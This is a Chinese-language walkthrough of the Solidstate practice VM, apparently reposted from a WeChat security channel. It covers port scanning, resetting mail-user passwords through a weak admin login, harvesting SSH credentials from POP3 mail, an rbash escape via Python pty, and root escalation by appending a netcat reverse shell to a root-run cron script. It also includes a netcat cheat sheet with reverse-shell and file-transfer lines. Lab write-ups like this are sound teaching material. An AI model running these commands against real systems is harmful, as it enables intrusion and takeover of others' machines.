本文通过一次完整的Solidstate靶机渗透过程,带你掌握端口扫描、密码重置、邮件服务利用、Shell逃逸及定时任务提权等技巧。适合网络安全初学者及CTF爱好者学习!
环境配置
攻击机:Kali Linux(IP:192.168.66.141)
靶机:Solidstate(IP:192.168.66.135)
步骤解析
1. 端口扫描与漏洞发现
使用nmap快速扫描靶机端口,发现关键信息:
nmap -sS -sV 192.168.66.135
关键结果:
端口4555:存在远程命令执行漏洞。
端口110:POP3邮件服务开放。
2. 利用4555端口重置密码
通过netcat连接4555端口,尝试弱口令登录成功:
nc 192.168.66.135 4555
”nc“(netcat)是一个功能强大的网络工具,被称为“网络瑞士军刀”,用于读取和写入网络连接。以下是其常见用法及参数说明: 基本语法 nc [选项] [主机名] [端口] 常用选项及说明 选项 说明 -l 监听模式(作为服务器) -p <端口> 指定本地端口(监听或连接时使用) -u 使用 UDP 协议(默认 TCP) -v 显示详细输出(-vv 更详细) -n 直接使用 IP 地址,不进行 DNS 解析 -z 端口扫描模式(不发送数据) -k 监听模式下保持连接(配合 -l 使用) -w <秒> 设置超时时间 -e <命令> 连接建立后执行命令(安全风险,某些版本不支持) -4/-6 强制使用 IPv4 或 IPv6 常见使用场景 1. 监听端口(服务端) # 监听 TCP 端口 1234 nc -l -v 1234 # 监听 UDP 端口 1234 nc -l -u -v 1234 2. 连接到远程服务器(客户端) # 连接到 192.168.1.100 的 TCP 端口 80 nc -v 192.168.1.100 80 # 连接到 example.com 的 UDP 端口 53 nc -u -v example.com 53 3. 文件传输 # 发送文件(服务端监听,客户端发送) 服务端: nc -l 1234 > received_file 客户端: nc -v 192.168.1.100 1234 < send_file # 接收文件(客户端监听,服务端发送) 客户端: nc -l 1234 > received_file 服务端: nc -v 客户端IP 1234 < send_file 4. 端口扫描 # 扫描 192.168.1.100 的 1-1000 端口(TCP) nc -z -v 192.168.1.100 1-1000 # 扫描 UDP 端口 53 nc -z -u -v 192.168.1.100 53 5. 作为简易聊天工具 # 服务端监听 nc -l 1234 # 客户端连接 nc 192.168.1.100 1234 6. 反向 Shell(谨慎使用) # 服务端监听 nc -l 1234 # 客户端反弹 Shell(Linux) nc 192.168.1.100 1234 -e /bin/bash # Windows 客户端(需安装 nc) nc 192.168.1.100 1234 -e cmd.exe 高级用法 1. 代理服务器 通过 HTTP 代理连接 nc -X connect -x proxy_ip:port 目标IP 目标端口 2. 发送 HTTP 请求 echo -e "GET / HTTP/1.1nHost: example.comnn" | nc example.com 80 3. 端口转发 将本机 8080 转发到 192.168.1.100:80 nc -l 8080 | nc 192.168.1.100 80 注意事项 1. 不同系统(如 BSD 和 GNU)的 nc 参数可能略有差异,建议通过 man nc 查看本地文档。 2. 使用 -e 参数可能存在安全风险,部分版本默认禁用。 3. 在防火墙或安全环境中,nc 可能被限制使用。 通过灵活组合参数,nc 可以满足大多数网络调试和测试需求。 |
使用 listusers 命令列出所有用户(5个),并通过 ”setpasswor“将密码统一重置为“123”。
3. 登录POP3邮箱获取SSH凭证
使用 telnet 或 openssl 连接POP3服务(端口110):
openssl s_client -connect 192.168.66.135:110 -quiet
依次登录用户邮箱,发现 用户mindy 的邮件中泄露SSH凭证:
username: mindy
password: P@55W0rd1!2@
4. SSH登录与绕过受限Shell
使用获取的凭证登录SSH:
ls出了一个user.txt文件,cat试一下,发现是一段密文
但是在想尝试切到其他文件夹时,发现切换不了,在报错的前缀里面看到rbash,是受限制的shell
发现受限制的”rbash“,通过Python绕过:
ssh [email protected] "export TERM=xterm; python -c 'import pty; pty.spawn("/bin/sh")'"
|
在上面的信息中,可以看到ssh的凭证来自于james用户
看一下james用户的进程运行情况,发现多次出现一个opt的文件夹
切换到opt目录,ls列一下文件列表有一个py文件是root权限,可能可以利用
成功获取完整Shell权限!
5. 提权:利用定时任务脚本
- 发现可疑进程:检查“james”用户的进程,发现/opt目录下的Python脚本。
- 脚本分析:“tmp.py”以root权限定期执行,可被篡改。
- 反弹Shell注入:向脚本追加代码,监听攻击机端口:
echo "os.system('/bin/nc -e /bin/bash 192.168.66.141 9999')" >> /opt/tmp.py
在攻击机开启监听:
nc -lvnp 9999
成功获取root权限,读取“/root/flag”完成渗透!
技术要点总结
1. 弱口令与密码重置:多服务统一密码的风险。
2. 邮件服务利用:POP3协议中敏感信息泄露的常见场景。
3. Shell逃逸:Python的“pty”模块绕过”rbash“限制。
4. 定时任务提权:篡改高权限脚本实现权限升级。
关注我,获取更多网络安全实战技巧! 🔒💻
原文始发于微信公众号(泷羽Sec-陽鲸魧):渗透实战 | Solidstate靶机攻防全解析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论